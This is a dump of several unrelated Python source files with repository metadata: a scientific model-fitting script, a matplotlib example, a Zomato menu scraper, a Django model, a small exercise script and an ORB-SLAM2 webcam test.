newParams.update({var: abs(scipy.random.normal(scale=nonratePriorSigma))})
if var.startswith('Km'):
newParams.update({var: abs(scipy.random.normal(scale=nonratePriorSigma))})
originalFittingModel.initializeParameters(newParams)
Utility.save(originalFittingModel,originalModelFilename)
die
else:
# try to load from file
originalFittingModel = Utility.load(originalModelFilename)
# 9.9.2013 using different offset for different models, so set it here
originalFittingModel.net.setInitialVariableValue('totalPhos_offset',offset)
fakeDataAbs = True # Avoid negative data
# yeast oscillator (see RuoChrWol03)
elif originalString is 'yeastOscillator':
#to do 3.22.2012
originalFittingModel = None #yeastOscillatorFittingModel(inputVars)
# *****************
upperRangeMultiple = 1. #1.
nonzeroMin = True # True
# *****************
includedIndices = range(3) #range(7) # range(3)
allNames = scipy.array(['S1','S2','S3','S4','N2','A3','S4ex'])
names = allNames[includedIndices]
outputVars = names
switchSigmoid = False # False
xiNegative = False
timesSeed = 0 #0
noiseSeed = 1 #1
ICseed = 2 #2
noiseFracSize = 0.1
fakeDataAbs = False
lognormalNoise = False
# (no SloppyCell perfectModel, so no prior vars)
rateVars = []
nonrateVars = []
ratePriorSigma = 10.
nonratePriorSigma = 10.
# 4.23.2015
connectionOrder = 'node'
typeOrder = 'last'
connectionOrderSeed = 300
# 5.6.2015
# Note that a value other than None here is not yet implemented
trueNoiseRange = None
def yeastDataFunction(numICs,useDerivs, \
names=names,timesSeed=timesSeed,noiseSeed=noiseSeed,ICseed=ICseed):
if (os.uname()[1] != 'star'): # can't do if MATLAB isn't installed
from simulateYeastOscillator import *
timeInterval = [0.,5.] #[0.,10.] #[0.,1e-5] #[0.,10.] # minutes #
multiplicativeErrorBar = noiseFracSize # 0.1
fittingData,fittingDataDerivs,inputVars,inputList = \
yeastData(numPoints,timeInterval, \
numICs,useDerivs,includedIndices,timesSeed=timesSeed, \
noiseSeed=noiseSeed,ICseed=ICseed, \
multiplicativeErrorBar=multiplicativeErrorBar,randomX=randomX, \
upperRangeMultiple=upperRangeMultiple,nonzeroMin=nonzeroMin)
return fittingData,inputVars,inputList,useDerivs,fittingDataDerivs
else:
raise Exception, "Unrecognized originalString"
# for Laguerre polynomials
degreeListLag = scipy.arange(0,8,1) # (0,10,1)
# polynomials describing parameter dependence have degree half
# that of the degree of the polynomial describing time dependence
polynomialDegreeListListLag = [ (degree/2)*scipy.ones(2+degree,dtype=int) \
for degree in degreeListLag ]
# for plain polynomials
degreeListPoly = scipy.arange(0,8,1) # (0,10,1)
# polynomials describing parameter dependence have degree half
# that of the degree of the polynomial describing time dependence
polynomialDegreeListListPoly = [ (degree/2)*scipy.ones(degree,dtype=int) \
for degree in degreeListPoly ]
# 4.29.2013 set priors
if (fittingType is 'Polynomial') or (fittingType is 'Laguerre'):
nonrateVars.extend( ['C','sqrt_abs_alpha','g'] )
elif fittingType is 'PowerLaw':
rateVars.extend( ['log_alpha','log_beta'] )
nonrateVars.extend( ['g','h','X'] )
elif fittingType is 'CTSN':
rateVars.extend( ['w','log_tau'] )
nonrateVars.extend( ['theta','X'] )
elif (fittingType is 'SimplePhosphorylation') \
or (fittingType is 'PerfectPhosphorylation') \
or (fittingType is 'SimpleSinusoidal'):
pass # we don't include priors for these models
else:
raise Exception, "Unrecognized fittingType"
# make priorSigma list using ratePriorSigma and nonratePriorSigma
priorSigma = []
for v in rateVars: priorSigma.append( (v,ratePriorSigma) )
for v in nonrateVars: priorSigma.append( (v,nonratePriorSigma) )
fitProbDict = {}
# () optionally restart calculations from a loaded fittingProblemDict
restartDictName = None
#restartDictName = '0062_fitProb_varying_numInputs_yeastOscillator_CTSN_withEnsembleT1000_steps10000.0_10_useBest_numPoints1_maxiter100_avegtol0.01_noClamp_newErrorBars0.1_removeLogForPriors_seeds0_1_2_restart0027.dat'
#restartDictName = 'k0030_fitProb_varying_numInputs_yeastOscillator_CTSN_withEnsembleT1000_steps10000.0_10_maxiter100_avegtol0.01_noiseFracSize0.1_ratePriorSigma10.0_seeds3_4_5_restart0041.dat'
#restartDictName = '0042_fitProb_varying_numInputs_yeastOscillator_CTSN_withEnsembleT1000_steps10000.0_10_useBest_numPoints1_maxiter100_avegtol0.01_noClamp_newErrorBars0.1_removeLogForPriors_ratePriorSigma10.0_seeds6_7_8_restart0038.dat'
if restartDictName is not None:
fitProbDict = Utility.load(restartDictName)
i = restartDictName.find('_fitProb_')
restartStr = '_restart'+restartDictName[i-4:i]
# try to catch inconsistencies
if restartDictName.find(fittingType) < 0: raise Exception
if restartDictName.find(originalString) < 0: raise Exception
if originalString is "yeastOscillator":
seedsStr = '_seeds'+str(timesSeed)+'_'+str(noiseSeed)+'_'+str(ICseed)
elif (originalString is "PhosphorylationNet") or (originalString is "PlanetaryNet"):
seedsStr = '_seeds'+str(timeAndNoiseSeed)+'_'+str(ICseed)
else:
raise Exception
if restartDictName.find(seedsStr) < 0: raise Exception
# ***
# 9.5.2013 temporary change to stopFittingN for planetary fits
#for key in fitProbDict.keys():
# fp = fitProbDict[key]
# fp.stopFittingN = stopFittingN
# ***
# () set up filename for output
fileNumString = prefix
print "runFittingProblem: Output files will start with",fileNumString
configString = '_fitProb_varying_numInputs' \
+'_'+originalString \
+'_'+fittingType \
+'_withEnsembleT'+str(int(ensTemperature)) \
+'_steps'+str(totalSteps)+'_'+str(keepSteps) \
+'_maxiter'+str(maxiter) \
+'_avegtol'+str(avegtol) \
+'_noiseFracSize'+str(noiseFracSize) \
+'_ratePriorSigma'+str(ratePriorSigma)
if trueNoiseRange is not None:
configString += '_trueNoiseRange'+str(trueNoiseRange[0])+'_'+str(trueNoiseRange[1])
if originalString is "yeastOscillator":
configString += '_seeds'+str(timesSeed)+'_'+str(noiseSeed)+'_'+str(ICseed)
elif (originalString is "PhosphorylationNet") or (originalString is "PlanetaryNet"):
configString += '_seeds'+str(timeAndNoiseSeed)+'_'+str(ICseed)
elif originalString is "powerLawYeastOscillator":
configString += '_seeds'+str(timeAndNoiseSeed)+'_'+str(indepParamsSeed)
else:
raise Exception
if restartDictName is not None:
configString += restartStr
Utility.save(fitProbDict,fileNumString+configString+'.dat')
saveFilename = fileNumString+configString+'.dat'#+'_partial.dat'
# () set up numIndepParamsList, specifying the lengths of datasets to test
smallerBestParamsDict = {}
if originalString is "PhosphorylationNet":
deltaNumIndepParams = 5 #2
maxNumIndepParams = 54
numIndepParamsList = range(deltaNumIndepParams,maxNumIndepParams,deltaNumIndepParams)
numIndepParamsList.extend([52,100,200,300,400,500])
elif originalString is "yeastOscillator":
deltaNumIndepParams = 2
maxNumIndepParams = 52 #25
numIndepParamsList = range(deltaNumIndepParams,maxNumIndepParams,deltaNumIndepParams)
elif originalString is "PlanetaryNet":
deltaNumIndepParams = 10
maxNumIndepParams = 200
numIndepParamsList = range(deltaNumIndepParams,maxNumIndepParams,deltaNumIndepParams)
else: raise Exception
# () set up complexityList, specifying which models to test in the model class
useFullyConnected = False #True
if useFullyConnected:
numModels = 10
complexityList = scipy.linspace(0,1,numModels) # fraction of possible parameters
else:
if originalString is "PhosphorylationNet":
complexityStepsize = 2
complexityMax = 25 #50
elif originalString is "yeastOscillator":
complexityStepsize = 5
complexityMax = 200
elif originalString is "PlanetaryNet":
complexityStepsize = 2
complexityMax = 25
else: raise Exception
complexityMin = 0 #19 #7 #0
complexityList = scipy.arange(complexityMin,complexityMax,complexityStepsize)
fittingDataDerivs = None
previousParams = None # 4.29.2013 used for fitting perfect model
# () loop over an increasing amount of fittingData and perform fitting
for numIndepParams in numIndepParamsList:
key = numIndepParams
# () Create fittingData
if (originalFittingModel is not None) and (not fitProbDict.has_key(key)):
# the following need to be set above:
# outputVars
# inputVars,inputListFull
#
# 5.3.2013
# if inputVars contains variables that are not
# defined in the original model, then they are
# ignored here, but still passed on to be used
# as input to the fittingModels
# (eg. 'totalPhos_init' for phosphorylation model)
originalNet = originalFittingModel.net
originalNet.compile() # only want to do this once
runVars,runList = inputVars,inputListFull[:numIndepParams]
inputList = inputListFull[:numIndepParams]
# in case inputListFull is too short
if len(runList) != numIndepParams: raise Exception
fakeData = []
for i,runVals in enumerate(runList):
newNet = originalNet.copy()
for runVar,runVal in zip(runVars,runVals):
if runVar in newNet.parameters.keys():
newNet.setInitialVariableValue(runVar,runVal)
else:
pass # 5.3.2013 runVal will still be passed on to the fittingModels
fakeDataSingleRun = {}
for j,var in enumerate(outputVars):
# 9.24.2013 to match with what I was doing before when len(outputVars)=1
if len(outputVars) > 1: noiseSeed = int(timeAndNoiseSeed*1e5+(i+1)*1e3+j)
else: noiseSeed = None
# do individually so every var is measured at the same (random) time
fakeDataSingleRun.update( FakeData.noisyFakeData(newNet,numPoints, \
timeInterval, \
seed=int(timeAndNoiseSeed*1e5+i),vars=[var], \
noiseFracSize=noiseFracSize,randomX=randomX, \
includeEndpoints=includeEndpoints,takeAbs=fakeDataAbs, \
noiseSeed=noiseSeed,typValOffsets=valOffsets,
trueNoiseRange=trueNoiseRange,lognormalNoise=lognormalNoise ))
fakeData.append( fakeDataSingleRun )
elif originalString == 'yeastOscillator':
print "Using yeast oscillator data."
fakeData,inputVars,inputList,includeDerivs,fittingDataDerivs = \
yeastDataFunction(numIndepParams,useDerivs)
# () Create fittingProblem p
if fitProbDict.has_key(key):
p = fitProbDict[key]
p.saveFilename = saveFilename # in case it has changed
else: # we haven't started
kwargs = { 'avegtol': avegtol,
'maxiter': maxiter,
'ensGen': ensGen,
'verbose': verbose,
'indepParamNames': inputVars,
'indepParamsList': inputList,
'perfectModel': copy.deepcopy(originalFittingModel),
'saveFilename': saveFilename,
'includeDerivs': includeDerivs,
'numprocs': numprocs,
'smallerBestParamsDict': smallerBestParamsDict,
'saveKey': key,
'stopFittingN': stopFittingN,
'connectionOrder': connectionOrder,
'typeOrder': typeOrder,
'connectionOrderSeed': connectionOrderSeed,
}
if fittingType is 'Laguerre':
p = FittingProblem.LaguerreFittingProblem(degreeListLag,fakeData,
outputName=outputVars[0],
polynomialDegreeListList=polynomialDegreeListListLag,**kwargs)
elif fittingType is 'Polynomial':
p = FittingProblem.PolynomialFittingProblem(degreeListPoly,fakeData,
outputName=outputVars[0],
polynomialDegreeListList=polynomialDegreeListListPoly,**kwargs)
elif (fittingType is 'SimplePhosphorylation') \
or (fittingType is 'PerfectPhosphorylation'):
kwargs.pop('stopFittingN') # only 1 model to fit
kwargs.pop('connectionOrderSeed')
kwargs.pop('connectionOrder')
kwargs.pop('typeOrder')
p = FittingProblem.SimplePhosphorylationFittingProblem(fakeData,
offset=offset,**kwargs)
elif fittingType is 'SimpleSinusoidal':
kwargs.pop('stopFittingN') # only 1 model to fit
kwargs.pop('connectionOrderSeed')
kwargs.pop('connectionOrder')
kwargs.pop('typeOrder')
p = FittingProblem.SimpleSinusoidalFittingProblem(fakeData,
outputNames=outputVars,**kwargs)
elif fittingType is 'PowerLaw':
p = FittingProblem.PowerLawFittingProblem(complexityList,fakeData,
outputNames=outputVars,priorSigma=priorSigma,
fittingDataDerivs=fittingDataDerivs,
useFullyConnected=useFullyConnected,inputNames=inputNames,**kwargs)
elif fittingType is 'CTSN':
kwargs['xiNegative'] = xiNegative
p = FittingProblem.CTSNFittingProblem(complexityList,fakeData,
outputNames=outputVars,priorSigma=priorSigma,
inputNames=inputNames,**kwargs)
else:
raise Exception, 'No valid fittingType specified.'
fitProbDict[key] = p
Utility.save(fitProbDict,fileNumString+configString+'.dat')
# () Fit the models in the fittingProblem p
if fittingType is not 'PerfectPhosphorylation':
try:
# fit models
p.fitAll(usePreviousParams=usePreviousParams)
except KeyboardInterrupt:
raise
Utility.save(fitProbDict,fileNumString+configString+'.dat')
if fittingType is 'PerfectPhosphorylation':
if not hasattr(p,'perfectCost'):
# 4.29.2013 fit perfect model for phosphorylation
# (see runFitPerfectModelPhos.py)
p.perfectModel.numprocs = numprocs
p.perfectModel.priorSigma = priorSigma
p.perfectModel.speciesNames = ['totalPhos']
p.perfectModel.ensGen.logParams = True
p.perfectModel.ensGen.temperature = 10. # 5.1.2013
p.perfectModel.ensGen.totalSteps = 100. # 5.2.2013
p.fitPerfectModel(otherStartingPoint=previousParams)
previousParams = p.perfectFitParams
Utility.save(fitProbDict,fileNumString+configString+'.dat')
else:
previousParams = p.perfectFitParams
# 4.17.2012
smallerBestParamsDict = paramsDict(p)
print "runFittingProblem: Done with key", key
| [
"bdaniels@discovery.wisc.edu"
] | bdaniels@discovery.wisc.edu |
77007c1c919ffc67963fee14634b26ee9856e131 | a1bffb2795728a6369c4447ca58e9a60620a1e7d | /intro/matplotlib/examples/plot_aliased.py | 91281736e7c3d601518f28e84fe5b8b6f7ae0e36 | [
"CC-BY-4.0",
"CC-BY-3.0"
] | permissive | imieza/scipy-lecture-notes | 03a4e0615f4fc4fdea3583d9557742fc1798ba65 | 74c8b7b491ceae0ce5be1745497b7adc0bad1406 | refs/heads/master | 2021-01-16T20:30:57.735341 | 2015-09-21T17:28:35 | 2015-09-21T17:28:35 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 493 | py | """
Aliased versus anti-aliased
=============================
This example demonstrates aliased versus anti-aliased text.
"""
import pylab as pl
size = 128, 16
dpi = 72.0
figsize= size[0] / float(dpi), size[1] / float(dpi)
fig = pl.figure(figsize=figsize, dpi=dpi)
fig.patch.set_alpha(0)
pl.axes([0, 0, 1, 1], frameon=False)
pl.rcParams['text.antialiased'] = False
pl.text(0.5, 0.5, "Aliased", ha='center', va='center')
pl.xlim(0, 1)
pl.ylim(0, 1)
pl.xticks(())
pl.yticks(())
pl.show()
| [
"gael.varoquaux@normalesup.org"
] | gael.varoquaux@normalesup.org |
9488d6f82af89e6350f8e311867f201ac9056640 | 06d882216885b4cc82ef131afc27baa8a797537a | /food_api/zomato_api/restaurant_url.py | f3399ee659e6f39d9d23973d5b8cccebc3ea0faa | [] | no_license | bopopescu/restaurant_data_crawler | 7de91844ae51b71b1c64af57cf82067f28996940 | dd14839cabd114ab22c86eff15428143a310da5f | refs/heads/master | 2022-11-06T21:52:22.941089 | 2017-10-09T12:10:41 | 2017-10-09T12:10:41 | 282,031,811 | 0 | 0 | null | 2020-07-23T18:54:44 | 2020-07-23T18:54:43 | null | UTF-8 | Python | false | false | 3,633 | py | from bs4 import BeautifulSoup
from urllib2 import Request, urlopen, URLError
import re
from errorhandler import typec
from re import search
from re import sub
import json
def crawlRestaurants(restaurant_url):
try:
menu_url = []
restaurant_menu_url_with_unicode = restaurant_url + "/menu#food"
restaurant_menu_url_with_unicode = restaurant_menu_url_with_unicode.replace(unichr(233),'e')
restaurant_menu_url = sub(r"[^\x00-\x7F]+","",restaurant_menu_url_with_unicode)
try:
response = urlopen(restaurant_menu_url)
html = response.read()
# print html
rest_soup = BeautifulSoup(html)
for javascript_code in rest_soup.find_all("script",{"type":"text/javascript"}):
text = javascript_code.text
pat = "zomato.menuPages"
index = text.find(pat)
if index >= 0:
menu_items = search("zomato.menuPages = (.+?);",text).group(1)
menu_dict = json.loads(menu_items)
for urls in menu_dict:
menu_url.append(str(urls['url']))
return menu_url
except URLError as error:
print restaurant_menu_url
return restaurantsDB
except URLError as error:
print error
# <<<<<<< HEAD
# def crawlRestaurants(city_name,locality_name):
# try:
# restaurantsDB = []
# searchUrl = "https://www.zomato.com/" + city_name + "/" + locality_name.replace(" ","-").lower() + "-restaurants"
# response = urlopen(searchUrl)
# html = response.read()
# soup = BeautifulSoup(html)
# # Extracting no. of pages
# for pages in soup.find("div",{"class":"col-l-3 mtop0 alpha tmargin pagination-number"}):
# text = pages.text
# tokens = text.split(" ")
# flag = 0
# page_no = 1
# for token in tokens:
# if token.isdigit():
# if flag == 1:
# page_no = int(token) + 1
# flag = 1
# # Crawling on each page of restaurant locality
# for page in range(1,page_no):
# searchUrl = "https://www.zomato.com/" + city_name + "/" + locality_name.replace(" ","-").lower() + "-restaurants?page="+str(page)
# response = urlopen(searchUrl)
# html = response.read()
# soup = BeautifulSoup(html)
# for rest_div in soup.find_all("li",{"class":"resZS mbot0 pbot0 bb even status1"}) + soup.find_all("li",{"class":"resZS mbot0 pbot0 bb even near status1"}):
# restDB = {}
# restDB['id'] = rest_div['data-res_id']
# rest_url_a = rest_div.find("a",{"class":"result-title"})
# rest_url = rest_url_a["href"]
# rest_url = rest_url.replace(unichr(233),'e')
# rest_url = sub(r"[^\x00-\x7F]+","",rest_url)
# restDB['url'] = str(rest_url)
# restaurant_menu_url_with_unicode = restDB['url'] + "/menu#food"
# restaurant_menu_url_with_unicode = restaurant_menu_url_with_unicode.replace(unichr(233),'e')
# restaurant_menu_url = sub(r"[^\x00-\x7F]+","",restaurant_menu_url_with_unicode)
# try:
# response = urlopen(restaurant_menu_url)
# html = response.read()
# # print html
# rest_soup = BeautifulSoup(html)
# for javascript_code in rest_soup.find_all("script",{"type":"text/javascript"}):
# text = javascript_code.text
# pat = "zomato.menuPages"
# index = text.find(pat)
# if index >= 0:
# menu_items = search("zomato.menuPages = (.+?);",text).group(1)
# menu_dict = json.loads(menu_items)
# menu_url = []
# for urls in menu_dict:
# menu_url.append(str(urls['url']))
# restDB['menu'] = menu_url
# restaurantsDB.append(restDB)
# except URLError as error:
# print restaurant_menu_url
# return restaurantsDB
# except URLError as error:
# print error
# print crawlRestaurants(city_name,locality_name)
# =======
| [
"nitesh.surtani0606@gmail.com"
] | nitesh.surtani0606@gmail.com |
d3f4f28a07d725a745058165f9fa71a5072d5e6b | c8b095adbbea29211d699f4113a91bc89fa54493 | /jury/models.py | d1b52c51d89d1786c9bd0a9c7582d0bfc7f37143 | [
"MIT"
] | permissive | maribedran/speakerfight | 9e554e7ea557c5bc44aafb616e46f0878fe8e2d5 | 26e3e70e1d06ec0be004a9b1598c2b55f9823a7d | refs/heads/master | 2021-07-18T04:13:18.974661 | 2017-10-19T17:46:36 | 2017-10-19T17:46:36 | 106,606,011 | 2 | 0 | null | 2017-10-11T20:29:57 | 2017-10-11T20:29:55 | Python | UTF-8 | Python | false | false | 371 | py | from django.utils.translation import ugettext as _
from django.db import models
from django.conf import settings
class Jury(models.Model):
# relations
users = models.ManyToManyField(to=settings.AUTH_USER_MODEL,
related_name='juries')
class Meta:
verbose_name = _('Jury')
verbose_name_plural = _('Juries')
| [
"luanfonceca@gmail.com"
] | luanfonceca@gmail.com |
a3e6ce679b7b6173c7cb9365142a5f5abcb8693c | 50fda37ac3890182da78d28d5fb18aa2a75f5f40 | /informatyka próbna 2020/41.py | 5ae8e1a43eb41ecebfed818f3324e97924cc2ffe | [] | no_license | qattiel/Arkusze_informatyka_Python | dee95aa4953aef49080951cb5fd6465b72972c4f | 7c95a5872461cf56996d98a87ff12747ce201c51 | refs/heads/main | 2023-05-27T22:50:11.198207 | 2021-06-11T07:21:56 | 2021-06-11T07:21:56 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 324 | py | dane = ""
with open("dane4.txt", "r") as plik:
dane=plik.read()
dane=dane.split("\n")
luki = []
element = int(dane[0])
for x in range(1, len(dane)-1):
buff = int(dane[x])
luka = abs(element-buff)
element=buff
luki.append(luka)
print(min(luki))
print(max(luki))
#for x in luki:
# print(x) | [
"noreply@github.com"
] | noreply@github.com |
42f644ceaadd904c56b54ef3285f26219aac3134 | 597c9c0f8aab1dd7514088920759caf61762ed4f | /scripts/test_slam_with_webcam.py | af99f0f1bac23b59d8d6419425ba340ec3236150 | [
"MIT"
] | permissive | BOpermanis/pyORBSLAM2 | 7f86d214ad989f460eee259756df115c214d9ee3 | ff7c303bc6d2023fc3c22090e6af048072cce90b | refs/heads/master | 2021-06-24T06:21:06.125320 | 2021-05-07T15:42:03 | 2021-05-07T15:42:03 | 225,214,792 | 0 | 0 | MIT | 2019-12-01T19:11:35 | 2019-12-01T19:11:35 | null | UTF-8 | Python | false | false | 1,414 | py | import cv2
import numpy as np
import sys
# sys.path.insert(0, "/slamdoom/tmp/orbslam2/include/build/")
import ORBSLAM2 as os2
from time import time, sleep
import pickle
from gridmap import to_gridmap, DisplayMap
def test_SLAM_init():
# "/slamdoom/libs/orbslam2/Vocabulary/ORBvoc.txt"
# "/slamdoom/libs/orbslam2/Examples/RGB-D/TUM1.yaml"
flag_visualize_gridmap = False
cap = cv2.VideoCapture(0)
# ret, frame = cap.read()
# print(frame.shape)
# exit()
print("Initializing SLAM...")
slam_obj = os2.SLAM()
# slam_obj.init("/slamdoom/libs/orbslam2/Vocabulary/ORBvoc.txt", "../logitec.yaml", "mono", not flag_visualize_gridmap)
slam_obj.init("/slamdoom/tmp/orbslam2/Vocabulary/ORBvoc.txt", "../logitec.yaml", "mono", True)
print("SLAM was successfully initialized!")
if flag_visualize_gridmap:
displayer = DisplayMap()
i_frame = 0
while True:
i_frame += 1
ret, frame = cap.read()
slam_obj.track_mono(frame, time())
if flag_visualize_gridmap:
kps = slam_obj.get_feature_kps()
displayer.new_frame(frame, kps, slam_obj.tracking_state() == 2)
if i_frame % 100 == 0:
pts = slam_obj.getmap()
if pts is not None:
displayer.new_map(pts)
# if i_frame > 1000:
# break
if __name__ == "__main__":
test_SLAM_init() | [
"slamdoom@slam.doom"
] | slamdoom@slam.doom |
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